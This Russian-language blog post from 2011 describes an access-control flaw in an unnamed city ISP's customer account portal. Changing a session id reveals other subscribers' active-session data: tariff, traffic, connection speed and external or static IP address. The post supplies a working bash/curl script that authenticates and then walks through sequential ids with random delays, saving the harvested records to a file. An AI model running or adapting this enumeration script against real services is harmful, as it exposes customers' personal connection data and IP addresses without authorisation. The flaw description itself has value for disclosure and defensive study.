Просмотр информации у провайдера о чужих активных соединениях клиентов

10 октября 2011 г.

Есть у нас в городе один крупный провайдер, который пару лет назад был монополистом на рынке своих услуг. У провайдера, как у многих, есть сервис «Личный кабинет». В кабинете, разумеется, можно управлять услугами, смотреть статистику, информацию о текущей сессии. Так вот, обновление информации о текущей сессии сделано на ajax, что сразу наводит на мысль — рассмотреть это поподробней. Открыв Firefox, становится видно, данные отправляются php скрипту response.php методом GET, что не принципиально. В переменной action передается название функции внутри серверного скрипта, а в переменной sid передается некий id. Id это id логина пользователя. Надо отметить, что учетные записи у провайдера привязаны к номеру расчетного счета, соответственно, id с номером счета совпадать не может. Сам sid прописывается внутри страницы, отдаваемой сервером после удачной авторизации. Далее в дело вступает curl. Опытным путем удается установить, что если скармливать response.php кукисы, реферера и какой-либо «чужой» sid, то можно натыкаться на чьи-то активные сессии и получать из них следующие данные:

  • Название тарифа
  • Дата начала сессии
  • Длительность активной сессии
  • Скорость подключения (надо отметить что она не обязательна соответствует тарифу, все зависит от бонусов и опций)
  • Сколько получено и отправлено за активную сессию в Гб
  • Внешний IP адрес
  • Активирована ли «некоторая» услуга

Небольшой скрипт на баш в помощь:

#!/bin/bash
startId=100000
endId=100005

curl 	-k -L -e https://provider.ru/ \
	-A "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51" \
	-d "bip=1&send=%D0%90%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D1%8C%D1%81%D1%8F+%D0%BF%D0%BE+ip" \
	-c cookies \
	"https://provider.ru/index.php" > /dev/null
while [ $startId -lt $endId ]
do
	rand=$[$RANDOM%25+1]
	sec=$(echo ${rand}'s')
	sleep $sec
curl 	-k -L -e https://provider.ru/news.php \
	-A "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51" \
	-b cookies \
	"https://provider.ru/response.php?action=data&sid=$startId" >> stat.xml
	startId=$[$startId+1]
done

Данные приходят в виде xml (name — это название тарифа, а не имя клиента)
Просмотр информации

Изучив еще личный кабинет, удалось выяснить еще то, что в action передаются и другие названия функций, но особо интересных нет, разве только то, что можно определить, подключена ли услуга статический IP. Если да, то этот IP возвращается, судя по ответной xml.

Теги: рубрика Интернет